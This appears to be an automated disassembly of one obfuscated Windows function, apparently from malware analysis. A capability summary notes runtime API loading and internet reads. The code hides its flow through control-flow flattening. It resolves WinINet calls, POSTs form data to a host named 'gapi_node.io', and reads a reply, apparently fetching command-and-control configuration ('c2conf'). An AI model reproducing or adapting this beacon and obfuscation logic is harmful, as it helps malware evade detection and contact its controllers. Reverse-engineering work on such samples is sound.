Function at 0x42c95c
Capabilities:
Link many functions at runtime
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf0
mov dword [ebp - 0x10], 0xa278f3a9
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
mov eax, dword [ebp - 0x10]
cmp eax, 0xfe9e6b53
jg 0x42c9f0
cmp eax, 0xbd002189
jle 0x42ca84
cmp eax, 0xe1ac2d28
jg 0x42cb59
cmp eax, 0xcca7c3c9
jle 0x42ccbb
cmp eax, 0xd3f69e98
jg 0x42cf89
cmp eax, 0xce77b802
jg 0x42d3d2
cmp eax, 0xcca7c3ca
je 0x42d9cb
cmp eax, 0xccb77d4c
jne 0x42c977
mov eax, dword [ebp - 0x14]
add eax, eax
lea esi, [eax + eax*8]
mov dword [ebp - 0x14], esi
call fcn.0042c95c
mov eax, 0x29fd9ac8
cmp esi, 0x95
jl 0x42d50e
jmp 0x42e1fe
cmp eax, 0x3e71f9d1
jle 0x42cae4
cmp eax, 0x607634f3
jg 0x42cbac
cmp eax, 0x592b6a8b
jle 0x42cd1a
cmp eax, 0x5eb4f9f9
jg 0x42cfcd
cmp eax, 0x5c91cd5c
jg 0x42d414
cmp eax, 0x592b6a8c
je 0x42d9f2
cmp eax, 0x5c51fc7e
jne 0x42c977
mov esi, dword [ebp - 0x14]
dec esi
shr esi, 3
add esi, 0x39
shr esi, 0xd
mov dword [ebp - 0x14], esi
push esi
call fcn.0042c57f
add esp, 4
push esi
push 0x237c
push 0xd41
call fcn.004202e8
add esp, 0xc
mov eax, 0xa278f3a9
cmp esi, 0xd1
je 0x42e1fe
mov eax, 0xbd7c45c1
jmp 0x42e1fe
cmp eax, 0xa4d9c1e5
jg 0x42cc21
cmp eax, 0x9409d7b5
jle 0x42cd5b
cmp eax, 0x9ca64f4d
jg 0x42d009
cmp eax, 0x97fe1ba3
jg 0x42d467
cmp eax, 0x9409d7b6
je 0x42da1c
cmp eax, 0x94b6e091
jne 0x42c977
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x10], 0x5f837596
jmp 0x42c977
cmp eax, 0x1d382c87
jle 0x42cc75
cmp eax, 0x2a00a189
jle 0x42cd9b
cmp eax, 0x33020bbe
jg 0x42d046
cmp eax, 0x2e3fa769
jg 0x42d4a6
cmp eax, 0x2a00a18a
je 0x42da28
cmp eax, 0x2a071572
jne 0x42c977
mov eax, dword [ebp - 0x18]
shr eax, 8
imul ecx, eax, 0xf1
imul eax, eax
imul edx, eax, 0x66ef
dec edx
add ecx, 0x3e
mov dword [ebp - 0x18], ecx
mov ecx, 0xbd7c45c1
cmp edx, eax
je 0x42e11a
mov ecx, 0x3e544020
jmp 0x42e11a
cmp eax, 0xed55ca1b
jle 0x42cdf4
cmp eax, 0xf8c2d8e2
jg 0x42d073
cmp eax, 0xf17d0de3
jg 0x42d4da
cmp eax, 0xed55ca1c
je 0x42da51
cmp eax, 0xf048c21d
jne 0x42c977
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x24]
call eax
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x3c]
call eax
mov dword [ebp - 0x10], 0xed55ca1c
jmp 0x42c977
cmp eax, 0x6d2e668c
jle 0x42ce6c
cmp eax, 0x7ad6c1a1
jg 0x42d0a0
cmp eax, 0x75badd0c
jg 0x42d518
cmp eax, 0x6d2e668d
je 0x42da65
cmp eax, 0x6dcd08ed
jne 0x42c977
mov eax, dword [ebp - 0x18]
add eax, 0x3f
mov ecx, eax
shr ecx, 0xf
imul eax, eax
add ecx, 0xffffff83
imul edx, eax, 0x800d
shr ecx, 0xd
dec edx
add ecx, 0xc5
shr ecx, 6
mov dword [ebp - 0x18], ecx
mov ecx, 0x3da30a9b
cmp edx, eax
je 0x42e11a
mov ecx, 0x81c33858
jmp 0x42e11a
cmp eax, 0xb1a2883c
jg 0x42ceb4
cmp eax, 0xa88a8b74
jg 0x42d0d0
cmp eax, 0xa5fd90bf
jg 0x42d590
cmp eax, 0xa4d9c1e6
je 0x42daa5
cmp eax, 0xa50e5436
jne 0x42c977
mov eax, dword [ebp - 0x18]
shr eax, 0xd
and eax, 0x1f
add eax, 0xcb
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xe5de47a9
jmp 0x42c977
cmp eax, 0xd4731c7
jg 0x42cf26
cmp eax, 0x16f14fa
jle 0x42d12c
cmp eax, 0x472552a
jg 0x42d5e6
cmp eax, 0x16f14fb
je 0x42daec
cmp eax, 0x38cfea8
jne 0x42c977
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x10], 0xde09edc6
jmp 0x42c977
cmp eax, 0xc222e75b
jle 0x42d168
cmp eax, 0xc9b0b0da
jg 0x42d623
cmp eax, 0xc222e75c
je 0x42db0b
cmp eax, 0xc6225da3
jne 0x42c977
imul esi, dword [ebp - 0x14], 0xee00
mov dword [ebp - 0x14], esi
push esi
call fcn.0042c57f
add esp, 4
push esi
call fcn.0042c57f
add esp, 4
mov eax, 0x323dd097
test esi, esi
je 0x42e1fe
mov eax, 0xe5de47a9
jmp 0x42e1fe
cmp eax, 0x46367d56
jle 0x42d1cd
cmp eax, 0x4aa878f0
jg 0x42d645
cmp eax, 0x46367d57
je 0x42db45
cmp eax, 0x47940086
jne 0x42c977
mov eax, dword [ebp - 0xd8]
mov byte [eax], 0
mov dword [ebp - 0x10], 0x201c8a4f
jmp 0x42c977
cmp eax, 0x8ac6969f
jle 0x42d216
cmp eax, 0x8fec2d07
jg 0x42d67e
cmp eax, 0x8ac696a0
je 0x42db74
cmp eax, 0x8ba133cb
jne 0x42c977
push dword [ebp - 0x5c]
push dword [ebp - 0x30]
call edi
mov dword [ebp - 0x10], 0x4b1c6c50
jmp 0x42c977
cmp eax, 0x20450f8c
jle 0x42d27c
cmp eax, 0x28a42e15
jg 0x42d6af
cmp eax, 0x20450f8d
je 0x42db8f
cmp eax, 0x22430df1
jne 0x42c977
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x10], 0xb1c14801
jmp 0x42c977
cmp eax, 0xe4fd0a01
jle 0x42d2b6
cmp eax, 0xe9b512cf
jg 0x42d6ee
cmp eax, 0xe4fd0a02
je 0x42dba7
cmp eax, 0xe5de47a9
jne 0x42c977
push 0x14
push str.InternetCloseHandle
push dword [ebp - 0x50]
call fcn.004333a0
add esp, 0xc
push dword [ebp - 0x50]
push dword [ebp - 0x30]
call edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x54]
push 0x11
push str.HttpOpenRequestW
push dword [ebp - 0x54]
call fcn.004333a0
add esp, 0xc
push dword [ebp - 0x54]
push dword [ebp - 0x30]
call edi
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x10], 0xebea009
jmp 0x42c977
cmp eax, 0x64f01d13
jle 0x42d317
cmp eax, 0x6ad3e904
jg 0x42d71e
cmp eax, 0x64f01d14
je 0x42dbdb
cmp eax, 0x687cc179
jne 0x42c977
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x24]
call eax
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x3c]
call eax
mov dword [ebp - 0x10], 0xd3f69e99
jmp 0x42c977
cmp eax, 0xb2ba095d
jle 0x42d36a
cmp eax, 0xba0b3284
jg 0x42d772
cmp eax, 0xb2ba095e
je 0x42dc2f
cmp eax, 0xb41ac1e6
jne 0x42c977
imul esi, dword [ebp - 0x14], 0x5600
or esi, 0x17
mov dword [ebp - 0x14], esi
push esi
push 0x23ef
push 0x84c
call fcn.004202e8
add esp, 0xc
push esi
push 0x1b8e
push 0x1c8d
call fcn.004202e8
add esp, 0xc
mov eax, 0x1f81ca69
cmp esi, 7
jl 0x42d854
jmp 0x42e1fe
cmp eax, 0x15e709b7
jle 0x42d39a
cmp eax, 0x1a4e9759
jg 0x42d7a6
cmp eax, 0x15e709b8
je 0x42dc56
cmp eax, 0x18eaad37
jne 0x42c977
imul eax, dword [ebp - 0x18], 0x37
add eax, 0xffffffe6
imul ecx, eax, 0xf5
imul eax, eax
imul edx, eax, 0x83cd
dec edx
add ecx, 0xb0
mov dword [ebp - 0x18], ecx
mov ecx, 0xd255b3a8
cmp edx, eax
je 0x42e11a
mov ecx, 0x7c305ddd
jmp 0x42e11a
cmp eax, 0xde09edc5
jg 0x42d7cb
cmp eax, 0xd3f69e99
je 0x42dc73
cmp eax, 0xd9c9c091
jne 0x42c977
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x3c]
call eax
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x34]
call eax
mov dword [ebp - 0x10], 0xf8c2d8e3
mov dword [ebp - 0x78], 0
jmp 0x42c977
cmp eax, 0x5f8a49ce
jg 0x42d81e
cmp eax, 0x5eb4f9fa
je 0x42dc8c
cmp eax, 0x5f837596
jne 0x42c977
mov eax, dword [ebp - 0xe0]
add eax, dword [ebp - 0x74]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x10], 0x47940086
jmp 0x42c977
cmp eax, 0xa1e89605
jg 0x42d85e
cmp eax, 0x9ca64f4e
je 0x42dcc1
cmp eax, 0xa074f80d
jne 0x42c977
cmp dword [ebp - 0xc4], 0
mov eax, 0xf048c21d
je 0x42e28d
mov eax, 0x5c91cd5d
jmp 0x42e28d
cmp eax, 0x3da30a9a
jg 0x42d8e8
cmp eax, 0x33020bbf
je 0x42dce1
cmp eax, 0x374609b9
jne 0x42c977
mov dword [ebp - 0x10], 0x7ad6c1a2
jmp 0x42c977
cmp eax, 0xfa84a7cd
jg 0x42d903
cmp eax, 0xf8c2d8e3
je 0x42dced
cmp eax, 0xf92e82de
jne 0x42c977
mov dword [ebp - 0x10], 0x6310c7aa
jmp 0x42c977
cmp eax, 0x7cc50aa9
jg 0x42d94c
cmp eax, 0x7ad6c1a2
je 0x42dd02
cmp eax, 0x7c305ddd
jne 0x42c977
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0xbba1eda2
jmp 0x42c977
cmp eax, 0xac5c7332
jle 0x42d9a1
cmp eax, 0xac5c7333
je 0x42dd11
cmp eax, 0xadea3989
jne 0x42c977
mov eax, dword [ebp - 0x18]
lea ecx, [eax + 0x85]
imul ecx, ecx
imul edx, ecx, 0x4fb1
dec edx
add eax, 0x261
and eax, 0xfffffffc
mov dword [ebp - 0x18], eax
mov eax, 0xccb77d4c
cmp edx, ecx
je 0x42d11d
mov eax, 0xa88a8b75
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x68], 0
jmp 0x42c977
cmp eax, 0xfe9e6b54
je 0x42dd44
cmp eax, 0xa9af0d
je 0x42dd78
cmp eax, 0x12b6d71
jne 0x42c977
imul eax, dword [ebp - 0x18], 0x7c800
add eax, 0xffffff48
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x38cfea8
jmp 0x42c977
cmp eax, 0xbd00218a
je 0x42ddb3
cmp eax, 0xbd7c45c1
je 0x42dde2
cmp eax, 0xc087301a
jne 0x42c977
imul esi, dword [ebp - 0x14], 0x2bc
add esi, 0xffffff74
and esi, 0xfffff000
mov dword [ebp - 0x14], esi
push esi
push 0x2a4b
push 0x485c
call fcn.004202e8
add esp, 0xc
mov eax, 0x7cc50aaa
cmp esi, 0xf1
jge 0x42e1fe
mov eax, 0xb1c14801
jmp 0x42e1fe
cmp eax, 0x3e71f9d2
je 0x42de04
cmp eax, 0x3f8e1df7
je 0x42de33
cmp eax, 0x3fbd82f9
jne 0x42c977
mov eax, dword [ebp - 0xb0]
push ebx
push ebx
push ebx
push ebx
push ebx
call eax
mov dword [ebp - 0x34], eax
mov eax, 0xadea3989
cmp dword [ebp - 0x34], ebx
je 0x42e28d
mov eax, 0xeccad34
jmp 0x42e28d
cmp eax, 0x807bf9f2
je 0x42de47
cmp eax, 0x81c33858
je 0x42de5e
cmp eax, 0x8342755e
jne 0x42c977
mov eax, dword [ebp - 0x18]
shr eax, 0xa
imul ecx, eax, 0xfb
imul eax, eax
imul edx, eax, 0x14a1
dec edx
shr ecx, 9
mov dword [ebp - 0x18], ecx
mov ecx, 0x3e71f9d2
cmp eax, edx
je 0x42d261
mov ecx, 0x94b6e091
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], 0
jmp 0x42c977
cmp eax, 0x1d382c88
je 0x42de6a
cmp eax, 0x1f81ca69
je 0x42de8a
cmp eax, 0x201c8a4f
jne 0x42c977
mov eax, dword [ebp - 0x18]
lea eax, [eax*4 - 0xbe]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x687cc179
jmp 0x42c977
cmp eax, 0xe1ac2d29
je 0x42debf
cmp eax, 0xe3ac16f4
je 0x42ded9
cmp eax, 0xe43a8fa7
jne 0x42c977
imul esi, dword [ebp - 0x14], 0x3c
add esi, 0xfffffc40
mov eax, esi
shr eax, 8
mov dword [ebp - 0x14], eax
push 0x7a3
push eax
push 0x1f7
call fcn.004202e8
add esp, 0xc
mov eax, 0xa9af0d
cmp esi, 0x6100
jb 0x42e28d
mov eax, 0xb41ac1e6
jmp 0x42e28d
cmp eax, 0x607634f4
je 0x42df1c
cmp eax, 0x6310c7aa
je 0x42df69
cmp eax, 0x637a2d94
jne 0x42c977
mov ecx, dword [ebp - 0x18]
mov eax, ecx
shr eax, 3
shr ecx, 0xc
imul eax, eax
imul edx, eax, 0x45f9
dec edx
add ecx, 0x6a
mov dword [ebp - 0x18], ecx
mov ecx, 0xa69bcb1f
cmp eax, edx
je 0x42e11a
mov ecx, 0x2e3fa76a
jmp 0x42e11a
cmp eax, 0xb1a2883d
je 0x42dfa4
cmp eax, 0xb1c14801
je 0x42dfcd
cmp eax, 0xb24e6ef6
jne 0x42c977
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x10], 0x3da30a9b
jmp 0x42c977
cmp eax, 0xd4731c8
je 0x42dfeb
cmp eax, 0xebea009
je 0x42dffa
cmp eax, 0xeccad34
jne 0x42c977
mov eax, dword [str.gapi_node.io]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x10], 0x28a42e16
jmp 0x42c977
cmp eax, 0xce77b803
je 0x42e006
cmp eax, 0xd255b3a8
jne 0x42c977
mov eax, dword [ebp - 0x14]
add eax, eax
add eax, 0x172
shr eax, 5
imul ecx, eax, 0xc9
mov dword [ebp - 0x14], ecx
mov eax, 0x3fbd82f9
cmp ecx, 0x8c
jne 0x42d5dc
jmp 0x42e1fe
cmp eax, 0x5c91cd5d
je 0x42e03b
cmp eax, 0x5d4ae4e1
jne 0x42c977
mov eax, dword [ebp - 0x14]
lea esi, [eax + eax]
add esi, 0xffffff3d
shr esi, 7
mov dword [ebp - 0x14], esi
push esi
push 0x3efb
push 0x5df3
call fcn.004202e8
add esp, 0xc
mov eax, 0x607634f4
cmp esi, 0x6b
je 0x42e1fe
mov eax, 0xb2ba095e
jmp 0x42e1fe
cmp eax, 0x97fe1ba4
je 0x42e063
cmp eax, 0x9c31a222
jne 0x42c977
mov eax, dword [ebp - 0x48]
mov word [eax + 0xc], 0x57
mov dword [eax + 8], 0x6e65704f
mov dword [eax + 4], 0x74656e72
mov dword [eax], 0x65746e49
mov dword [ebp - 0x10], 0xcca7c3ca
jmp 0x42c977
cmp eax, 0x2e3fa76a
je 0x42e08f
cmp eax, 0x323dd097
jne 0x42c977
push 0x11
push 0x456b83
push dword [ebp - 0x5c]
call fcn.004333a0
add esp, 0xc
mov dword [ebp - 0x10], 0x8ba133cb
jmp 0x42c977
cmp eax, 0xf17d0de4
je 0x42e0aa
cmp eax, 0xf68137be
jne 0x42c977
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*4]
lea ecx, [eax*4 + 0xf]
mov dword [ebp - 0x14], ecx
mov eax, 0xc6225da3
cmp ecx, 0x4a
jae 0x42e1fe
mov eax, 0x9c31a222
jmp 0x42e1fe
cmp eax, 0x75badd0d
je 0x42e0b9
cmp eax, 0x77bf5f57
jne 0x42c977
push 0x14
push str.lid_sj_sver4.0
push dword [ebp - 0x64]
call fcn.004333a0
add esp, 0xc
push str.default
push str.GyVvdO
push dword [ebp - 0x64]
push 0x3ff
push dword [ebp - 0x2c]
call fcn.004202e8
add esp, 0x14
push dword [ebp - 0x2c]
call fcn.0043eec0
add esp, 4
mov ecx, dword [ebp - 0xbc]
push eax
push dword [ebp - 0x2c]
push 0x2f
push str.Content_Type:_application_x_www_form_urlencoded
push dword [ebp - 0x24]
call ecx
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x10], 0xa074f80d
jmp 0x42c977
cmp eax, 0xa5fd90c0
je 0x42e0c8
cmp eax, 0xa69bcb1f
jne 0x42c977
imul esi, dword [ebp - 0x14], 0x3a
add esi, 0xffffff5f
mov eax, esi
shr eax, 7
mov dword [ebp - 0x14], eax
push eax
push 0x8bf
call fcn.0042c1ec
add esp, 8
call fcn.0042c95c
mov eax, 0x6310c7aa
cmp esi, 0xd00
jb 0x42e1fe
mov eax, 0x3e71f9d2
jmp 0x42e1fe
cmp eax, 0x472552b
je 0x42e0df
cmp eax, 0xbb9baa2
jne 0x42c977
mov ecx, dword [ebp - 0x14]
shl ecx, 6
add ecx, 0xffffb385
mov dword [ebp - 0x14], ecx
mov eax, 0xc222e75c
cmp ecx, 0x5c
jb 0x42e1fe
mov eax, 0xce77b803
jmp 0x42e1fe
cmp eax, 0xc9b0b0db
je 0x42e0eb
cmp eax, 0xc9dd24ae
jne 0x42c977
mov dword [ebp - 0x10], 0x3fbd82f9
jmp 0x42c977
cmp eax, 0x4aa878f1
je 0x42e122
cmp eax, 0x4b1c6c50
jne 0x42c977
mov eax, dword [ebp - 0x18]
shr eax, 3
imul eax, eax, 0xe8
shr eax, 1
imul eax, eax, 0xba
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xc9dd24ae
jmp 0x42c977
cmp eax, 0x8fec2d08
je 0x42e15f
cmp eax, 0x9079e06b
jne 0x42c977
imul eax, dword [ebp - 0x14], 0x33000
add eax, 0xfc49e43c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x5c91cd5d
jmp 0x42c977
cmp eax, 0x28a42e16
je 0x42e16b
cmp eax, 0x29fd9ac8
jne 0x42c977
mov eax, dword [ebp - 0x14]
shl eax, 0xe
add eax, 0x3cc00
and eax, 0xffffc000
imul ecx, eax, 0x36
mov dword [ebp - 0x14], ecx
mov eax, 0x1d382c88
cmp ecx, 0x6c
jge 0x42d854
jmp 0x42e1fe
cmp eax, 0xe9b512d0
je 0x42e19f
cmp eax, 0xed16d63d
jne 0x42c977
mov eax, dword [ebp - 0x18]
shl eax, 0x12
or eax, 0x94
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x1a4e975a
jmp 0x42c977
cmp eax, 0x6ad3e905
je 0x42e1dd
cmp eax, 0x6c6c46b1
jne 0x42c977
imul esi, dword [ebp - 0x14], 0x1980
add esi, 0x3aa85
mov dword [ebp - 0x14], esi
push 0x3b7b
push 0x128a
push esi
call fcn.004202e8
add esp, 0xc
mov eax, 0xfb4ef30c
cmp esi, 0xfe
jae 0x42e1fe
mov eax, 0xb1a2883d
jmp 0x42e1fe
cmp eax, 0xba0b3285
je 0x42e206
cmp eax, 0xbba1eda2
jne 0x42c977
push 0x400
push 0
push dword [ebp - 0x2c]
call fcn.00433ea0
add esp, 0xc
mov dword [ebp - 0x10], 0x1b7e23f8
jmp 0x42c977
cmp eax, 0x1a4e975a
je 0x42e23b
cmp eax, 0x1b7e23f8
jne 0x42c977
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x10], 0x472552b
jmp 0x42c977
cmp eax, 0xde09edc6
je 0x42e247
cmp eax, 0xdf21f8cd
jne 0x42c977
mov esi, dword [ebp - 0x14]
shr esi, 6
and esi, 0xffffffc0
lea eax, [esi - 0x20]
mov dword [ebp - 0x14], eax
push eax
push 0x17f8
call fcn.0042c1ec
add esp, 8
call fcn.0042c95c
mov eax, 0xe4fd0a02
cmp esi, 0xde
jb 0x42e28d
mov eax, 0xa278f3a9
jmp 0x42e28d
cmp eax, 0x5f8a49cf
je 0x42e267
cmp eax, 0x5fe7c5b0
jne 0x42c977
mov ecx, dword [ebp - 0x14]
shl ecx, 6
add ecx, 0xffffd3ba
mov dword [ebp - 0x14], ecx
mov eax, 0xe5de47a9
cmp ecx, 0xde
jl 0x42e1fe
mov eax, 0xbd00218a
jmp 0x42e1fe
cmp eax, 0xa1e89606
je 0x42e295
cmp eax, 0xa278f3a9
jne 0x42c977
push eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x40], eax
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x44], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x48], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x4c], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x50], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x54], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x58], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x5c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x60], eax
sub esp, 0x400
mov eax, esp
mov dword [ebp - 0x2c], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x10], 0xbd7c45c1
jmp 0x42c977
cmp eax, 0x3da30a9b
je 0x42e2c3
cmp eax, 0x3e544020
je 0x42de7e
jmp 0x42c977
cmp eax, 0xfa84a7ce
je 0x42e2ef
cmp eax, 0xfb4ef30c
jne 0x42c977
mov eax, dword [ebp - 0xb8]
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x60]
push str.POST
push dword [ebp - 0x3c]
call eax
mov dword [ebp - 0x24], eax
mov eax, 0xfa84a7ce
cmp dword [ebp - 0x24], ebx
je 0x42e28d
mov eax, 0x18eaad37
jmp 0x42e28d
cmp eax, 0x7cc50aaa
je 0x42e2fb
cmp eax, 0x7f784f0e
jne 0x42c977
mov eax, dword [ebp - 0x18]
mov ecx, eax
shl ecx, 6
lea edx, [eax + ecx]
add edx, 0xcb2
imul edx, edx
imul esi, edx, 0x12c3
dec esi
add eax, ecx
add eax, 0xd59
shr eax, 0xb
mov dword [ebp - 0x18], eax
mov eax, 0xa074f80d
cmp esi, edx
je 0x42e28d
mov eax, 0xe3ac16f4
jmp 0x42e28d
cmp eax, 0xa9c50648
jne 0x42e336
lea eax, [ebp - 0xfa]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x10], 0xc9b0b0db
jmp 0x42c977
mov eax, dword [ebp - 0x18]
shl eax, 0xd
add eax, 0xfff78000
and eax, 0xffff8000
add eax, 0xffff5c00
shr eax, 6
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xe1ac2d29
jmp 0x42c977
push dword [ebp - 0x74]
call fcn.0042c57f
add esp, 4
mov esi, eax
push dword [ebp - 0x74]
call fcn.0043e5b4
add esp, 4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], 0x20450f8d
mov dword [ebp - 0x7c], esi
jmp 0x42c977
mov dword [ebp - 0x10], 0xfb4ef30c
jmp 0x42c977
imul esi, dword [ebp - 0x14], 0x74
add esi, 0xffffa974
mov dword [ebp - 0x14], esi
push esi
call fcn.0042c57f
add esp, 4
mov eax, 0xa278f3a9
cmp esi, 0x62
jb 0x42e1f9
jmp 0x42e1fe
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x34]
call eax
mov dword [ebp - 0x10], 0xba0b3285
jmp 0x42c977
mov esi, dword [ebp - 0x14]
shl esi, 0xc
add esi, 0x9f000
and esi, 0xffe00000
add esi, 0xffff6980
mov dword [ebp - 0x14], esi
call fcn.0042c95c
call fcn.00405998
mov eax, 0x9ca64f4e
cmp esi, 0xe2
jge 0x42e1fe
mov eax, 0xa9c50648
jmp 0x42e1fe
imul eax, dword [ebp - 0x18], 0x14200
or eax, 0xc9
imul eax, eax, 0xd20
and eax, 0xffffcc00
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x22430df1
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x90], edx
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x88], eax
jmp 0x42c977
mov eax, dword [ebp - 0x18]
shr eax, 0xa
lea eax, [eax*8 - 0xab]
shr eax, 6
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x807bf9f2
jmp 0x42c977
mov eax, dword [ebp - 0x14]
lea eax, [eax*4 - 0xf6]
shr eax, 4
imul esi, eax, 0x9d
mov dword [ebp - 0x14], esi
push esi
call fcn.0042c57f
add esp, 4
mov eax, 0x5c91cd5d
cmp esi, 0xd6
jb 0x42e1fe
mov eax, 0x7cc50aaa
jmp 0x42e1fe
push dword [ebp - 0x38]
push dword [ebp - 0xa4]
push dword [ebp - 0xcc]
push dword [ebp - 0x24]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x10], 0x8ac696a0
jmp 0x42c977
mov eax, dword [ebp - 0xd0]
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x10], 0x12b6d71
jmp 0x42c977
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0xf8c2d8e3
mov dword [ebp - 0x78], eax
jmp 0x42c977
mov esi, dword [ebp - 0x14]
shl esi, 0x1b
add esi, 0x6a000000
mov eax, esi
shr eax, 0x16
mov dword [ebp - 0x14], eax
call fcn.0042c95c
mov eax, 0xa9c50648
cmp esi, 0x1c800001
jae 0x42e28d
mov eax, 0xbd7c45c1
jmp 0x42e28d
mov eax, dword [ebp - 0x18]
shr eax, 2
imul ecx, eax, 0x73
imul eax, eax
imul edx, eax, 0x41c7
dec edx
add ecx, 0xffffff4b
mov dword [ebp - 0x18], ecx
mov ecx, 0x5fe7c5b0
cmp edx, eax
je 0x42dc05
mov ecx, 0x22430df1
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x98]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], eax
jmp 0x42c977
cmp dword [ebp - 0x98], 0
mov eax, 0x64f01d14
jne 0x42dc42
mov eax, 0x8342755e
cmp byte [ebp - 0x25], 0
jne 0x42e28d
mov eax, 0x8342755e
jmp 0x42e28d
imul eax, dword [ebp - 0x18], 0x32
add eax, 0xb9
and eax, 0xfffffff
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x8fec2d08
jmp 0x42c977
imul eax, dword [ebp - 0x18], 0x36c000
or eax, 0x53
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x3f8e1df7
jmp 0x42c977
mov eax, dword [ebp - 0x18]
add eax, 0x33
mov ecx, eax
shr ecx, 0xe
imul ecx, ecx
shr eax, 0x13
imul edx, ecx, 0x8531
add eax, 0xffffffe6
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0xa1e89606
cmp edx, ecx
je 0x42e28d
mov eax, 0x9409d7b6
jmp 0x42e28d
push ebx
push ebx
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
setne byte [ebp - 0x25]
mov dword [ebp - 0x10], 0x16f14fb
jmp 0x42c977
mov dword [ebp - 0x10], 0xb2ba095e
jmp 0x42c977
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x10], 0xa88a8b75
mov dword [ebp - 0x68], eax
jmp 0x42c977
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], 0xf92e82de
jmp 0x42c977
imul ecx, dword [ebp - 0x14], 0x8895
add ecx, 0xfff6ede7
mov eax, ecx
shr eax, 6
add eax, 0xffffffc3
mov dword [ebp - 0x14], eax
mov eax, 0x3e71f9d2
cmp ecx, 0x2840
jae 0x42e1fe
mov eax, 0xe1ac2d29
jmp 0x42e1fe
mov eax, dword [ebp - 0x60]
movzx ecx, word [0x456ba0]
mov word [eax + 0xc], cx
mov ecx, dword [0x456b9c]
mov dword [eax + 8], ecx
mov ecx, dword [0x456b98]
mov dword [eax + 4], ecx
mov ecx, dword [str.c2conf]
mov dword [eax], ecx
mov dword [ebp - 0x10], 0x5eb4f9fa
jmp 0x42c977
mov esi, dword [ebp - 0x14]
mov eax, 0xfffffe3e
add esi, eax
mov eax, esi
shr eax, 6
mov dword [ebp - 0x14], eax
push eax
push 0x1f4e
call fcn.0042c1ec
add esp, 8
mov eax, 0x6ad3e905
cmp esi, 0x2a00
jb 0x42e28d
mov eax, 0x5c51fc7e
jmp 0x42e28d
push 0x18
push str.wininet.dll
push dword [ebp - 0x44]
call fcn.004333a0
add esp, 0xc
mov eax, dword [ebp - 0xac]
push dword [ebp - 0x44]
call eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], 0x15e709b8
jmp 0x42c977
